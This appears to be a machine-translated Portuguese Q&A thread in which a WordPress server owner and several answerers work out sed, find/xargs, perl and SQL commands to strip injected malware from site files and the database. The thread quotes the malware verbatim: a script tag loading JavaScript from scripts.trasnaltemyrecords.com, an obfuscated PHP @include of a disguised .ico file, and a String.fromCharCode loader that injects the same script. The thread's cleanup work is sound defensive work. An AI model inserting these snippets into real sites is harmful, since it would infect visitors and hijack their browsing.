Como substituir toda a string usando sed ou possivelmente grep

10

Então, todo o meu servidor foi hackeado ou teve o problema de malware. meu site é baseado no WordPress e a maioria dos sites hospedados no meu servidor é baseada no WordPress. O hacker adicionou essa linha de código a cada arquivo e no banco de dados

<script type='text/javascript' src='https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'></script>

Eu pesquisei via grep usando

grep -r "trasnaltemyrecords" /var/www/html/{*,.*}

Estou tentando substituí-lo por toda a estrutura do arquivo sede escrevi o seguinte comando.

sed -i 's/\<script type=\'text\/javascript\' src=\'https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547\'\>\<\/script\>//g' index.php

Estou tentando substituir a string em um único arquivo index.phpprimeiro, então sei que funciona.

e eu sei que meu código está errado. Por favor me ajude com isso.

Eu tentei com o código do @ Eran e ele excluiu toda a linha, o que é bom e como esperado. No entanto, o jargão total é este

/*ee8fa*/

@include "\057va\162/w\167w/\167eb\144ev\145lo\160er\141si\141/w\160-i\156cl\165de\163/j\163/c\157de\155ir\162or\057.9\06770\06637\070.i\143o";

/*ee8fa*/

E embora eu queira excluir todo o conteúdo, desejo manter a tag de abertura do php <?php.

Embora a solução da @ slybloty seja fácil e funcionou.

para remover completamente o código de todos os arquivos afetados. Estou executando os 3 comandos a seguir, obrigado a todos por isso.

  1. find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i "s/<script type='text\/javascript' src='https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547'><\/script>//g" - Para remover a linha de script
  2. find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i '/057va/d'- Para remover a @includelinha
  3. find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i '/ee8fa/d' - Para remover a linha de comentário

Além disso, executei todos os 3 comandos novamente para '*.html', porque o script do hacker criou index.html indesejado em todos os diretórios. Não tinha certeza se a exclusão desses index.html em massa é a abordagem correta.

agora, ainda preciso descobrir os arquivos indesejados e seus rastros.

O script do hacker adicionou o código JS também.

var pl = String.fromCharCode(104,116,116,112,115,58,47,47,115,99,114,105,112,116,115,46,116,114,97,115,110,97,108,116,101,109,121,114,101,99,111,114,100,115,46,99,111,109,47,116,97,108,107,46,106,115,63,116,114,97,99,107,61,114,38,115,117,98,105,100,61,48,54,48); s.src=pl;
if (document.currentScript) {
document.currentScript.parentNode.insertBefore(s, document.currentScript);
} else {
d.getElementsByTagName('head')[0].appendChild(s);
}

Tentando ver se consigo sedtambém.

Dilip Gupta
fonte
Como você sabe que seu código está errado?
Beta
Porque, eu o executei e ele continua pedindo mais informações na próxima linha, como `>`
Dilip Gupta
2
Você não pode simplesmente excluir a linha? sed -i '/ trasnaltemyrecords / d'
Eran Ben-Natan
11
Além disso, você pode adicionar seu grep para alimentar todos os arquivos com esta linha, assim: while read -r filename; do sed -i '/trasnaltemyrecords/d' "$filename"; done <<< "$(grep -lr trasnaltemyrecords /var/www/html/{*,.*})" A -lopção fornece apenas o nome do arquivo e não o texto correspondente.
Jason
11
Mais uma coisa ... Se você adotar essa abordagem, eu aproveitaria o parâmetro opcional "backup" para sed -i. Por exemplo, sed -i.bakcriará um *.bakarquivo para todos os arquivos editados. Quando usado com o while...greploop, você fará backup apenas dos arquivos que continham essa sequência. Desculpe por todos os comentários adicionais, mas, na minha opinião, o malware é um cenário "de mãos dadas".
Jason

Respostas:

2

Use aspas duplas ( ") para a sequência e não escape das aspas simples ( ') nem das tags ( <>). Apenas escape das barras ( /).

sed -i "s/<script type='text\/javascript' src='https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547'><\/script>//g" index.php
slybloty
fonte
2

Qualquer que seja o método que você decida usar com o sed, é possível executar vários processos simultaneamente em vários arquivos com opções de filtragem perfeitas com finde xargs. Por exemplo:

find . -type f -name '*.php' -print0 | xargs -0 -P7 -n1 sed -i '...'

Será:

  • find - encontrar
  • -type f - apenas arquivos
  • -name '*.txt' - que terminam com php
  • -print0 - mantenha-os separados por zero bytes
  • | xargs -0 - para cada arquivo separado por zero byte
  • -P7 - execute 7 processos simultaneamente
  • -n1 - para cada arquivo
  • sed - para cada arquivo executado sed
  • -i - edite o arquivo no local
  • '...' - o script sed que você deseja executar a partir de outras respostas.

Você pode adicionar uma -topção xargspara ver o progresso. Veja man find (man args] ( http://man7.org/linux/man-pages/man1/xargs.1.html ).

KamilCuk
fonte
2

Aspas simples são feitas literalmente sem caracteres de escape. Em var='hello\'', você tem uma cotação não fechada.

Para corrigir esse problema, 1) Use aspas duplas para colocar o sedcomando OU 2) Finalize a string entre aspas simples, adicione\' e reabra a sequência de aspas.

O segundo método é mais confuso, no entanto.

Além disso, sedpode usar qualquer delimitador para separar comandos. Como você tem barras nos comandos, é mais fácil usar vírgulas. Por exemplo, usando o primeiro método:

sed -i "s,\\<script type='text/javascript' src='https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'\\>\\</script\\>,,g" index.php

Usando o segundo método:

sed -i 's,\<script type='\''text/javascript'\'' src='\''https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'\''\>\</script\>,,g' index.php

Este exemplo é mais educacional do que prático. Aqui está como'\'' funciona:

Primeiro ' : final da cadeia literal entre aspas atual

\': Insira aspas simples como caractere literal

Segundo ' : Digite novamente a string literal entre aspas

Enquanto não houver espaços, você continuará seu sedcomando. Essa ideia é exclusiva parabash .

Estou deixando o escapado <e >lá dentro, porque não tenho muita certeza do que você está usando. sedusa o \<e\> para significar correspondência de palavras. Não tenho certeza se isso é intencional ou não.

Se isso não corresponder a nada, provavelmente você deseja evitar escapar do <e >.

Edit: Por favor, veja a solução de @ EranBen-Natan nos comentários para uma solução mais prática para o problema real. Minha resposta é mais um recurso sobre o motivo pelo qual o OP estava sendo solicitado a fornecer mais informações com seu comando original.

Solução para edição 2

Para que isso funcione, estou assumindo que você sedtem a opção não padrão -z. A versão GNU do seddeve ter isso. Também estou assumindo que esse código sempre aparece no formato com 6 linhas

while read -r filename; do
    # .bak optional here if you want to back any files that are edited
    sed -zi.bak 's/var pl = String\.fromCharCode(104,116,116,112,115[^\n]*\n[^\n]*\n[^\n]*\n[^\n]*\n[^\n]*\n[^\n]*\n//g'
done <<< "$(grep -lr 'var pl = String\.fromCharCode(104,116,116,112,115' .)"

Como funciona: estamos usando o início da linha fromCharCode para corresponder a tudo. -zdivide o arquivo em nulos em vez de novas linhas. Isso nos permite procurar feeds de linha diretamente.

[^\n]*\n- Isso corresponde a tudo até um feed de linha e, em seguida, corresponde ao feed de linha, evitando a correspondência de regex gananciosa. Como não estamos dividindo os feeds de linha ( -z), a regex var pl = String\.fromCharCode(104,116,116,112,115' .).*\n}\ncorresponde à maior correspondência possível. Por exemplo, se \n}\naparecesse em algum lugar mais abaixo no arquivo, você excluiria todo o código entre esse código e o código malicioso. Assim, repetir essa sequência 6 vezes corresponde ao final da primeira linha e das próximas 5 linhas.

grep -lr- Apenas uma recursiva greponde listamos apenas os arquivos que possuem o padrão correspondente. Dessa forma, sednão está editando todos os arquivos. Sem isso, -i.bak(não claro -i) faria uma bagunça.

Jason
fonte
Obrigado @ Jason, vou tentar o seu método para isso. No momento, não tenho opção para o backup. Então, eu estou preso com a limpeza.
precisa
@DilipGupta Eu sugiro fazer backup de onde você está agora. Você pode usar algo como rsyncpara fazer backup e restaurar.
Jason
Você usa adminer.php? Parece sua infectáveis
Jiro Matchonson
1

Você tem o plugin wp-mail-smtp instalado? Temos o mesmo malware e tivemos algo estranho wp-content/plugins/wp-mail-smtp/src/Debug.php.

Além disso, o link javascript está em todos os post_contentcampos do wp_postsbanco de dados do WordPress.

skuroedov
fonte
Sim, eu tenho esse plug-in instalado e está lá como você disse. Estou tentando limpar primeiro e depois aumentar a segurança. Observe também que o hacker instalou o plug-in chamado super-socialat, verifique isso também.
Dilip Gupta
O que exatamente você encontrou naquele Debug.php, eu não encontrei nada estranho lá, mas talvez esteja armazenado em outro arquivo, se você fornecer alguma parte do código, talvez eu possa pesquisar os arquivos, por favor? Não encontrou o novo plug-in instalado.
precisa saber é o seguinte
11
Qual editor você usou? Se eu abrir que no vim, eu posso ver que coisa weid, mas não em nano ou algum editor como Geany .... imgur.com/a/wC9XAIy pastebin.com/Y39KEfDL
skuroedov
Oi, eu estava olhando isso através do winscp, mas agora também tentei vi, ainda não encontrei nada. Tnx muito, por exemplo, vou tentar pesquisá-lo em arquivos.
Jiro Matchonson #
De alguma maneira, parece ser uma instrução sql que é escrita usando posições de letras na variável $ GLOBALS ou algo parecido, então não pode ser encontrada simplesmente procurando "trasnaltemyrecords". Tentei procurar por grep -r "NULL ); @ $ "/ var / www / html / { ,. } ou outras coisas, mas não encontrou nada. De qualquer forma eu tinha uma adminer.php velho na página wordpress modo que poderia ser também fonte desse vazamento, talvez ..
Jiro Matchonson
0

Eu tenho a mesma coisa hoje, todas as postagens nas páginas têm esse script de vírus desagradável adicionado

<script src='https://scripts.trasnaltemyrecords.com/pixel.js' type='text/javascript'></script>

Eu o desativei do banco de dados por

UPDATE wp_posts SET post_content = REPLACE(post_content, "src='https://scripts.trasnaltemyrecords.com", "data-src='https://scripts.trasnaltemyrecords.com")

Eu não tenho arquivos infectados pelo menos

grep -r "trasnaltemyrecords" /var/www/html/{*,.*}

não encontrou nada, mas não tenho idéia de como isso entrou no banco de dados do qual não estou calmo.

Essa infecção causou redirecionamentos nas páginas, o Chrome detecta e bloqueia isso. Não notou nada de estranho em - /wp-mail-smtp/src/Debug.php

Jiro Matchonson
fonte
Suponho que isso esteja relacionado a algumas das interrupções do plug-in e o hacker conseguiu acesso pela porta dos fundos ao site.
precisa
Mas qual plugin, 2 hous passou e tudo está de volta redirecionando
Jiro Matchonson
0

Eu tenho a mesma coisa hoje, todas as postagens nas páginas receberam o script. Eu lidei com eles com sucesso usando o https://en.wordpress.org/plugins/search-and-replace/ plugin.

Além disso, também encontrei um registro na sequência wp_posts da tabela post_content após a sequência:

<a href="https://scripts.trasnaltemyrecords.com/pixel.js?track=r&#038;subid=043">https://scripts.trasnaltemyrecords.com/pixel.js?track=r&#038;subid=043</a>

e excluiu-o manualmente.

mik013
fonte
0

Para mim trabalhou isso:

    find ./ -type f -name '*.js' |  xargs perl -i -0pe "s/var gdjfgjfgj235f = 1; var d=document;var s=d\.createElement\('script'\); s\.type='text\/javascript'; s\.async=true;\nvar pl = String\.fromCharCode\(104,116,116,112,115,58,47,47,115,99,114,105,112,116,115,46,116,114,97,115,110,97,108,116,101,109,121,114,101,99,111,114,100,115,46,99,111,109,47,116,97,108,107,46,106,115,63,116,114,97,99,107,61,114,38,115,117,98,105,100,61,48,54,48\); s\.src=pl; \nif \(document\.currentScript\) { \ndocument\.currentScript\.parentNode\.insertBefore\(s, document\.currentScript\);\n} else {\nd\.getElementsByTagName\('head'\)\[0\]\.appendChild\(s\);\n}//"

Você deve procurar: * .js, * .json, * .map

Vladimír Malík
fonte